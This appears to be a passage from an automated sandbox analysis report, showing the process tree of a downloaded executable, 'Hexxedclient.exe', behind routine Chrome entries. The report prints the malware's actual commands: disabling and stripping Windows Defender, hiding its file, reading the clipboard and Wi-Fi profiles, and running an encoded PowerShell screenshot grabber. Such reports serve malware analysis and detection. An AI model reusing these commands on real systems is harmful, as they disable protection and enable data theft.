  "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --no-appcompat-clear --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=26 --field-trial-handle=6008,i,7595866106333975647,14539406869543887399,262144 --variations-seed-version=20240801-180145.014000 --mojo-platform-channel-handle=6000 /prefetch:1
  2⤵
  PID:1228
- C:\Program Files\Google\Chrome\Application\chrome.exe
  "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --no-appcompat-clear --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=27 --field-trial-handle=6168,i,7595866106333975647,14539406869543887399,262144 --variations-seed-version=20240801-180145.014000 --mojo-platform-channel-handle=5976 /prefetch:1
  2⤵
  PID:3388
- C:\Program Files\Google\Chrome\Application\chrome.exe
  "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --no-appcompat-clear --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=28 --field-trial-handle=6292,i,7595866106333975647,14539406869543887399,262144 --variations-seed-version=20240801-180145.014000 --mojo-platform-channel-handle=6324 /prefetch:1
  2⤵
  PID:4584
- C:\Program Files\Google\Chrome\Application\chrome.exe
  "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --no-appcompat-clear --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=29 --field-trial-handle=6172,i,7595866106333975647,14539406869543887399,262144 --variations-seed-version=20240801-180145.014000 --mojo-platform-channel-handle=6268 /prefetch:1
  2⤵
  PID:4676
- C:\Program Files\Google\Chrome\Application\chrome.exe
  "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --no-appcompat-clear --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=30 --field-trial-handle=6756,i,7595866106333975647,14539406869543887399,262144 --variations-seed-version=20240801-180145.014000 --mojo-platform-channel-handle=6780 /prefetch:1
  2⤵
  PID:5032
- C:\Program Files\Google\Chrome\Application\chrome.exe
  "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --no-appcompat-clear --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=31 --field-trial-handle=6548,i,7595866106333975647,14539406869543887399,262144 --variations-seed-version=20240801-180145.014000 --mojo-platform-channel-handle=6556 /prefetch:1
  2⤵
  PID:1652
- C:\Program Files\Google\Chrome\Application\chrome.exe
  "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --no-appcompat-clear --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=32 --field-trial-handle=6304,i,7595866106333975647,14539406869543887399,262144 --variations-seed-version=20240801-180145.014000 --mojo-platform-channel-handle=6348 /prefetch:1
  2⤵
  PID:1852
- C:\Program Files\Google\Chrome\Application\chrome.exe
  "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --no-appcompat-clear --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=33 --field-trial-handle=4464,i,7595866106333975647,14539406869543887399,262144 --variations-seed-version=20240801-180145.014000 --mojo-platform-channel-handle=6324 /prefetch:1
  2⤵
  PID:1676
- C:\Program Files\Google\Chrome\Application\chrome.exe
  "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --no-appcompat-clear --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=34 --field-trial-handle=5312,i,7595866106333975647,14539406869543887399,262144 --variations-seed-version=20240801-180145.014000 --mojo-platform-channel-handle=6224 /prefetch:1
  2⤵
  PID:1252
- C:\Program Files\Google\Chrome\Application\chrome.exe
  "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --no-appcompat-clear --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=35 --field-trial-handle=4712,i,7595866106333975647,14539406869543887399,262144 --variations-seed-version=20240801-180145.014000 --mojo-platform-channel-handle=7108 /prefetch:1
  2⤵
  PID:4676
- C:\Program Files\Google\Chrome\Application\chrome.exe
  "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --no-appcompat-clear --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=36 --field-trial-handle=6400,i,7595866106333975647,14539406869543887399,262144 --variations-seed-version=20240801-180145.014000 --mojo-platform-channel-handle=7132 /prefetch:1
  2⤵
  PID:3764
- C:\Program Files\Google\Chrome\Application\chrome.exe
  "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --no-appcompat-clear --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=37 --field-trial-handle=7332,i,7595866106333975647,14539406869543887399,262144 --variations-seed-version=20240801-180145.014000 --mojo-platform-channel-handle=7296 /prefetch:1
  2⤵
  PID:4916
- C:\Program Files\Google\Chrome\Application\chrome.exe
  "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --no-appcompat-clear --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=38 --field-trial-handle=4440,i,7595866106333975647,14539406869543887399,262144 --variations-seed-version=20240801-180145.014000 --mojo-platform-channel-handle=7488 /prefetch:1
  2⤵
  PID:2368
- C:\Program Files\Google\Chrome\Application\chrome.exe
  "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=quarantine.mojom.Quarantine --lang=en-US --service-sandbox-type=none --no-appcompat-clear --field-trial-handle=6552,i,7595866106333975647,14539406869543887399,262144 --variations-seed-version=20240801-180145.014000 --mojo-platform-channel-handle=7400 /prefetch:8
  2⤵
  - NTFS ADS
  PID:3540
- C:\Program Files\Google\Chrome\Application\chrome.exe
  "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --no-appcompat-clear --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=40 --field-trial-handle=7204,i,7595866106333975647,14539406869543887399,262144 --variations-seed-version=20240801-180145.014000 --mojo-platform-channel-handle=736 /prefetch:1
  2⤵
  PID:3200
- C:\Program Files\Google\Chrome\Application\chrome.exe
  "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --no-appcompat-clear --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=41 --field-trial-handle=7360,i,7595866106333975647,14539406869543887399,262144 --variations-seed-version=20240801-180145.014000 --mojo-platform-channel-handle=7288 /prefetch:1
  2⤵
  PID:4584
- C:\Program Files\Google\Chrome\Application\chrome.exe
  "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --no-appcompat-clear --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=42 --field-trial-handle=5300,i,7595866106333975647,14539406869543887399,262144 --variations-seed-version=20240801-180145.014000 --mojo-platform-channel-handle=4736 /prefetch:1
  2⤵
  PID:1684
- C:\Program Files\Google\Chrome\Application\chrome.exe
  "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --no-appcompat-clear --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=43 --field-trial-handle=7304,i,7595866106333975647,14539406869543887399,262144 --variations-seed-version=20240801-180145.014000 --mojo-platform-channel-handle=5448 /prefetch:1
  2⤵
  PID:4284
- C:\Program Files\Google\Chrome\Application\chrome.exe
  "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --no-appcompat-clear --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=44 --field-trial-handle=7508,i,7595866106333975647,14539406869543887399,262144 --variations-seed-version=20240801-180145.014000 --mojo-platform-channel-handle=6276 /prefetch:1
  2⤵
  PID:4224
- C:\Program Files\Google\Chrome\Application\chrome.exe
  "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --no-appcompat-clear --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=45 --field-trial-handle=7708,i,7595866106333975647,14539406869543887399,262144 --variations-seed-version=20240801-180145.014000 --mojo-platform-channel-handle=6196 /prefetch:1
  2⤵
  PID:4196
- C:\Program Files\Google\Chrome\Application\chrome.exe
  "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --no-appcompat-clear --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=46 --field-trial-handle=7716,i,7595866106333975647,14539406869543887399,262144 --variations-seed-version=20240801-180145.014000 --mojo-platform-channel-handle=7696 /prefetch:1
  2⤵
  PID:3688
- C:\Program Files\Google\Chrome\Application\chrome.exe
  "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --no-appcompat-clear --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=47 --field-trial-handle=7724,i,7595866106333975647,14539406869543887399,262144 --variations-seed-version=20240801-180145.014000 --mojo-platform-channel-handle=6268 /prefetch:1
  2⤵
  PID:1148
- C:\Program Files\Google\Chrome\Application\chrome.exe
  "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --no-appcompat-clear --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=48 --field-trial-handle=7492,i,7595866106333975647,14539406869543887399,262144 --variations-seed-version=20240801-180145.014000 --mojo-platform-channel-handle=6160 /prefetch:1
  2⤵
  PID:4324
- C:\Program Files\Google\Chrome\Application\chrome.exe
  "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --no-appcompat-clear --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=49 --field-trial-handle=6392,i,7595866106333975647,14539406869543887399,262144 --variations-seed-version=20240801-180145.014000 --mojo-platform-channel-handle=6680 /prefetch:1
  2⤵
  PID:2776
- C:\Program Files\Google\Chrome\Application\chrome.exe
  "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --no-appcompat-clear --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=50 --field-trial-handle=3496,i,7595866106333975647,14539406869543887399,262144 --variations-seed-version=20240801-180145.014000 --mojo-platform-channel-handle=5452 /prefetch:1
  2⤵
  PID:2644
- C:\Program Files\Google\Chrome\Application\chrome.exe
  "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --no-appcompat-clear --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=51 --field-trial-handle=7936,i,7595866106333975647,14539406869543887399,262144 --variations-seed-version=20240801-180145.014000 --mojo-platform-channel-handle=7920 /prefetch:1
  2⤵
  PID:4672
- C:\Program Files\Google\Chrome\Application\chrome.exe
  "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --no-appcompat-clear --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=52 --field-trial-handle=8048,i,7595866106333975647,14539406869543887399,262144 --variations-seed-version=20240801-180145.014000 --mojo-platform-channel-handle=7500 /prefetch:1
  2⤵
  PID:3492
- C:\Program Files\Google\Chrome\Application\chrome.exe
  "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --no-appcompat-clear --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=53 --field-trial-handle=8032,i,7595866106333975647,14539406869543887399,262144 --variations-seed-version=20240801-180145.014000 --mojo-platform-channel-handle=8164 /prefetch:1
  2⤵
  PID:984
- C:\Program Files\Google\Chrome\Application\chrome.exe
  "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=gpu-process --disable-gpu-sandbox --use-gl=disabled --gpu-vendor-id=4318 --gpu-device-id=140 --gpu-sub-system-id=0 --gpu-revision=0 --gpu-driver-version=10.0.22000.1 --no-appcompat-clear --gpu-preferences=WAAAAAAAAADoAAAMAAAAAAAAAAAAAAAAAABgAAEAAAA4AAAAAAAAAAAAAACEAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAGAAAAAAAAAAYAAAAAAAAAAgAAAAAAAAACAAAAAAAAAAIAAAAAAAAAA== --field-trial-handle=6584,i,7595866106333975647,14539406869543887399,262144 --variations-seed-version=20240801-180145.014000 --mojo-platform-channel-handle=8112 /prefetch:8
  2⤵
  - Suspicious behavior: EnumeratesProcesses
  PID:4856

C:\Program Files\Google\Chrome\Application\123.0.6312.123\elevation_service.exe
"C:\Program Files\Google\Chrome\Application\123.0.6312.123\elevation_service.exe"
1⤵
PID:2816

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k LocalSystemNetworkRestricted -p -s NgcSvc
1⤵
PID:2824

C:\Windows\system32\OpenWith.exe
C:\Windows\system32\OpenWith.exe -Embedding
1⤵
- Modifies registry class
- Suspicious behavior: GetForegroundWindowSpam
- Suspicious use of SetWindowsHookEx
PID:2884

C:\Windows\System32\rundll32.exe
C:\Windows\System32\rundll32.exe C:\Windows\System32\shell32.dll,SHCreateLocalServerRunDll {9aa46009-3ce0-458a-a354-715610a075e6} -Embedding
1⤵
PID:4856

C:\Windows\system32\OpenWith.exe
C:\Windows\system32\OpenWith.exe -Embedding
1⤵
- Modifies registry class
- Suspicious behavior: GetForegroundWindowSpam
- Suspicious use of SetWindowsHookEx
PID:2644

C:\Program Files\7-Zip\7zG.exe
"C:\Program Files\7-Zip\7zG.exe" x -o"C:\Users\Admin\Downloads\Hexxedclient\" -ad -an -ai#7zMap16287:86:7zEvent2332
1⤵
- Suspicious use of FindShellTrayWindow
PID:3672

C:\Users\Admin\Downloads\Hexxedclient\Hexxedclient.exe
"C:\Users\Admin\Downloads\Hexxedclient\Hexxedclient.exe"
1⤵
- Executes dropped EXE
PID:4024
- C:\Users\Admin\Downloads\Hexxedclient\Hexxedclient.exe
  "C:\Users\Admin\Downloads\Hexxedclient\Hexxedclient.exe"
  2⤵
  - Executes dropped EXE
  - Loads dropped DLL
  PID:3688
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "powershell -Command Add-MpPreference -ExclusionPath 'C:\Users\Admin\Downloads\Hexxedclient\Hexxedclient.exe'"
    3⤵
    PID:4904
  - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      powershell -Command Add-MpPreference -ExclusionPath 'C:\Users\Admin\Downloads\Hexxedclient\Hexxedclient.exe'
      4⤵
      Command and Scripting Interpreter: PowerShell
      Suspicious behavior: EnumeratesProcesses
      PID:5252
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "powershell Set-MpPreference -DisableIntrusionPreventionSystem $true -DisableIOAVProtection $true -DisableRealtimeMonitoring $true -DisableScriptScanning $true -EnableControlledFolderAccess Disabled -EnableNetworkProtection AuditMode -Force -MAPSReporting Disabled -SubmitSamplesConsent NeverSend && powershell Set-MpPreference -SubmitSamplesConsent 2 & "%ProgramFiles%\Windows Defender\MpCmdRun.exe" -RemoveDefinitions -All"
    3⤵
    PID:1212
  - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      powershell Set-MpPreference -DisableIntrusionPreventionSystem $true -DisableIOAVProtection $true -DisableRealtimeMonitoring $true -DisableScriptScanning $true -EnableControlledFolderAccess Disabled -EnableNetworkProtection AuditMode -Force -MAPSReporting Disabled -SubmitSamplesConsent NeverSend
      4⤵
      Command and Scripting Interpreter: PowerShell
      Suspicious behavior: EnumeratesProcesses
      PID:5244
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "mshta "javascript:var sh=new ActiveXObject('WScript.Shell'); sh.Popup('Please download redist_68 then try again.', 0, 'Error.', 0+16);close()""
    3⤵
    PID:2184
  - - C:\Windows\system32\mshta.exe
      mshta "javascript:var sh=new ActiveXObject('WScript.Shell'); sh.Popup('Please download redist_68 then try again.', 0, 'Error.', 0+16);close()"
      4⤵
      PID:5364
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "tasklist /FO LIST"
    3⤵
    PID:2596
  - - C:\Windows\system32\tasklist.exe
      tasklist /FO LIST
      4⤵
      Enumerates processes with tasklist
      PID:5312
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "wmic csproduct get uuid"
    3⤵
    PID:5168
  - - C:\Windows\System32\Wbem\WMIC.exe
      wmic csproduct get uuid
      4⤵
      PID:5304
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "REG QUERY HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Control\Class\{4D36E968-E325-11CE-BFC1-08002BE10318}\0000\DriverDesc 2"
    3⤵
    PID:5656
  - - C:\Windows\system32\reg.exe
      REG QUERY HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Control\Class\{4D36E968-E325-11CE-BFC1-08002BE10318}\0000\DriverDesc 2
      4⤵
      PID:5716
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "REG QUERY HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Control\Class\{4D36E968-E325-11CE-BFC1-08002BE10318}\0000\ProviderName 2"
    3⤵
    PID:5732
  - - C:\Windows\system32\reg.exe
      REG QUERY HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Control\Class\{4D36E968-E325-11CE-BFC1-08002BE10318}\0000\ProviderName 2
      4⤵
      PID:5792
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "wmic path win32_VideoController get name"
    3⤵
    PID:5808
  - - C:\Windows\System32\Wbem\WMIC.exe
      wmic path win32_VideoController get name
      4⤵
      Detects videocard installed
      PID:5868
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "wmic path win32_VideoController get name"
    3⤵
    PID:5900
  - - C:\Windows\System32\Wbem\WMIC.exe
      wmic path win32_VideoController get name
      4⤵
      Detects videocard installed
      PID:5960
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "attrib +h +s "C:\Users\Admin\Downloads\Hexxedclient\Hexxedclient.exe""
    3⤵
    - Hide Artifacts: Hidden Files and Directories
    PID:5992
  - - C:\Windows\system32\attrib.exe
      attrib +h +s "C:\Users\Admin\Downloads\Hexxedclient\Hexxedclient.exe"
      4⤵
      Views/modifies file attributes
      PID:6088
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "powershell -Command Add-MpPreference -ExclusionPath 'C:\ProgramData\Microsoft\Windows\Start Menu\Programs\StartUp\ ‌‎.scr'"
    3⤵
    PID:6016
  - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      powershell -Command Add-MpPreference -ExclusionPath 'C:\ProgramData\Microsoft\Windows\Start Menu\Programs\StartUp\ ‌‎.scr'
      4⤵
      Command and Scripting Interpreter: PowerShell
      PID:6104
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "tasklist /FO LIST"
    3⤵
    PID:5520
  - - C:\Windows\system32\tasklist.exe
      tasklist /FO LIST
      4⤵
      Enumerates processes with tasklist
      PID:5492
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "tasklist /FO LIST"
    3⤵
    PID:5476
  - - C:\Windows\system32\tasklist.exe
      tasklist /FO LIST
      4⤵
      Enumerates processes with tasklist
      PID:5624
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "WMIC /Node:localhost /Namespace:\\root\SecurityCenter2 Path AntivirusProduct Get displayName"
    3⤵
    PID:5376
  - - C:\Windows\System32\Wbem\WMIC.exe
      WMIC /Node:localhost /Namespace:\\root\SecurityCenter2 Path AntivirusProduct Get displayName
      4⤵
      PID:5868
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "powershell Get-Clipboard"
    3⤵
    - Clipboard Data
    PID:5256
  - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      powershell Get-Clipboard
      4⤵
      Clipboard Data
      PID:6008
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "tasklist /FO LIST"
    3⤵
    PID:5564
  - - C:\Windows\system32\tasklist.exe
      tasklist /FO LIST
      4⤵
      Enumerates processes with tasklist
      PID:6040
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "tree /A /F"
    3⤵
    PID:5132
  - - C:\Windows\system32\tree.com
      tree /A /F
      4⤵
      PID:5444
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "netsh wlan show profile"
    3⤵
    - System Network Configuration Discovery: Wi-Fi Discovery
    PID:4724
  - - C:\Windows\system32\netsh.exe
      netsh wlan show profile
      4⤵
      System Network Configuration Discovery: Wi-Fi Discovery
      PID:5568
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "systeminfo"
    3⤵
    PID:5284
  - - C:\Windows\system32\systeminfo.exe
      systeminfo
      4⤵
      Gathers system information
      PID:5648
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "REG QUERY HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\Tcpip\Parameters /V DataBasePath"
    3⤵
    PID:2596
  - - C:\Windows\system32\reg.exe
      REG QUERY HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\Tcpip\Parameters /V DataBasePath
      4⤵
      PID:6024
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "powershell.exe -NoProfile -ExecutionPolicy Bypass -EncodedCommand JABzAG8AdQByAGMAZQAgAD0AIABAACIADQAKAHUAcwBpAG4AZwAgAFMAeQBzAHQAZQBtADsADQAKAHUAcwBpAG4AZwAgAFMAeQBzAHQAZQBtAC4AQwBvAGwAbABlAGMAdABpAG8AbgBzAC4ARwBlAG4AZQByAGkAYwA7AA0ACgB1AHMAaQBuAGcAIABTAHkAcwB0AGUAbQAuAEQAcgBhAHcAaQBuAGcAOwANAAoAdQBzAGkAbgBnACAAUwB5AHMAdABlAG0ALgBXAGkAbgBkAG8AdwBzAC4ARgBvAHIAbQBzADsADQAKAA0ACgBwAHUAYgBsAGkAYwAgAGMAbABhAHMAcwAgAFMAYwByAGUAZQBuAHMAaABvAHQADQAKAHsADQAKACAAIAAgACAAcAB1AGIAbABpAGMAIABzAHQAYQB0AGkAYwAgAEwAaQBzAHQAPABCAGkAdABtAGEAcAA+ACAAQwBhAHAAdAB1AHIAZQBTAGMAcgBlAGUAbgBzACgAKQANAAoAIAAgACAAIAB7AA0ACgAgACAAIAAgACAAIAAgACAAdgBhAHIAIAByAGUAcwB1AGwAdABzACAAPQAgAG4AZQB3ACAATABpAHMAdAA8AEIAaQB0AG0AYQBwAD4AKAApADsADQAKACAAIAAgACAAIAAgACAAIAB2AGEAcgAgAGEAbABsAFMAYwByAGUAZQBuAHMAIAA9ACAAUwBjAHIAZQBlAG4ALgBBAGwAbABTAGMAcgBlAGUAbgBzADsADQAKAA0ACgAgACAAIAAgACAAIAAgACAAZgBvAHIAZQBhAGMAaAAgACgAUwBjAHIAZQBlAG4AIABzAGMAcgBlAGUAbgAgAGkAbgAgAGEAbABsAFMAYwByAGUAZQBuAHMAKQANAAoAIAAgACAAIAAgACAAIAAgAHsADQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgAHQAcgB5AA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAB7AA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAFIAZQBjAHQAYQBuAGcAbABlACAAYgBvAHUAbgBkAHMAIAA9ACAAcwBjAHIAZQBlAG4ALgBCAG8AdQBuAGQAcwA7AA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAHUAcwBpAG4AZwAgACgAQgBpAHQAbQBhAHAAIABiAGkAdABtAGEAcAAgAD0AIABuAGUAdwAgAEIAaQB0AG0AYQBwACgAYgBvAHUAbgBkAHMALgBXAGkAZAB0AGgALAAgAGIAbwB1AG4AZABzAC4ASABlAGkAZwBoAHQAKQApAA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAHsADQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAB1AHMAaQBuAGcAIAAoAEcAcgBhAHAAaABpAGMAcwAgAGcAcgBhAHAAaABpAGMAcwAgAD0AIABHAHIAYQBwAGgAaQBjAHMALgBGAHIAbwBtAEkAbQBhAGcAZQAoAGIAaQB0AG0AYQBwACkAKQANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAHsADQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAGcAcgBhAHAAaABpAGMAcwAuAEMAbwBwAHkARgByAG8AbQBTAGMAcgBlAGUAbgAoAG4AZQB3ACAAUABvAGkAbgB0ACgAYgBvAHUAbgBkAHMALgBMAGUAZgB0ACwAIABiAG8AdQBuAGQAcwAuAFQAbwBwACkALAAgAFAAbwBpAG4AdAAuAEUAbQBwAHQAeQAsACAAYgBvAHUAbgBkAHMALgBTAGkAegBlACkAOwANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAH0ADQAKAA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAcgBlAHMAdQBsAHQAcwAuAEEAZABkACgAKABCAGkAdABtAGEAcAApAGIAaQB0AG0AYQBwAC4AQwBsAG8AbgBlACgAKQApADsADQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAfQANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAfQANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAYwBhAHQAYwBoACAAKABFAHgAYwBlAHAAdABpAG8AbgApAA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAB7AA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAC8ALwAgAEgAYQBuAGQAbABlACAAYQBuAHkAIABlAHgAYwBlAHAAdABpAG8AbgBzACAAaABlAHIAZQANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAfQANAAoAIAAgACAAIAAgACAAIAAgAH0ADQAKAA0ACgAgACAAIAAgACAAIAAgACAAcgBlAHQAdQByAG4AIAByAGUAcwB1AGwAdABzADsADQAKACAAIAAgACAAfQANAAoAfQANAAoAIgBAAA0ACgANAAoAQQBkAGQALQBUAHkAcABlACAALQBUAHkAcABlAEQAZQBmAGkAbgBpAHQAaQBvAG4AIAAkAHMAbwB1AHIAYwBlACAALQBSAGUAZgBlAHIAZQBuAGMAZQBkAEEAcwBzAGUAbQBiAGwAaQBlAHMAIABTAHkAcwB0AGUAbQAuAEQAcgBhAHcAaQBuAGcALAAgAFMAeQBzAHQAZQBtAC4AVwBpAG4AZABvAHcAcwAuAEYAbwByAG0AcwANAAoADQAKACQAcwBjAHIAZQBlAG4AcwBoAG8AdABzACAAPQAgAFsAUwBjAHIAZQBlAG4AcwBoAG8AdABdADoAOgBDAGEAcAB0AHUAcgBlAFMAYwByAGUAZQBuAHMAKAApAA0ACgANAAoADQAKAGYAbwByACAAKAAkAGkAIAA9ACAAMAA7ACAAJABpACAALQBsAHQAIAAkAHMAYwByAGUAZQBuAHMAaABvAHQAcwAuAEMAbwB1AG4AdAA7ACAAJABpACsAKwApAHsADQAKACAAIAAgACAAJABzAGMAcgBlAGUAbgBzAGgAbwB0ACAAPQAgACQAcwBjAHIAZQBlAG4AcwBoAG8AdABzAFsAJABpAF0ADQAKACAAIAAgACAAJABzAGMAcgBlAGUAbgBzAGgAbwB0AC4AUwBhAHYAZQAoACIALgAvAEQAaQBzAHAAbABhAHkAIAAoACQAKAAkAGkAKwAxACkAKQAuAHAAbgBnACIAKQANAAoAIAAgACAAIAAkAHMAYwByAGUAZQBuAHMAaABvAHQALgBEAGkAcwBwAG8AcwBlACgAKQANAAoAfQA="
    3⤵
    PID:5700
  - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
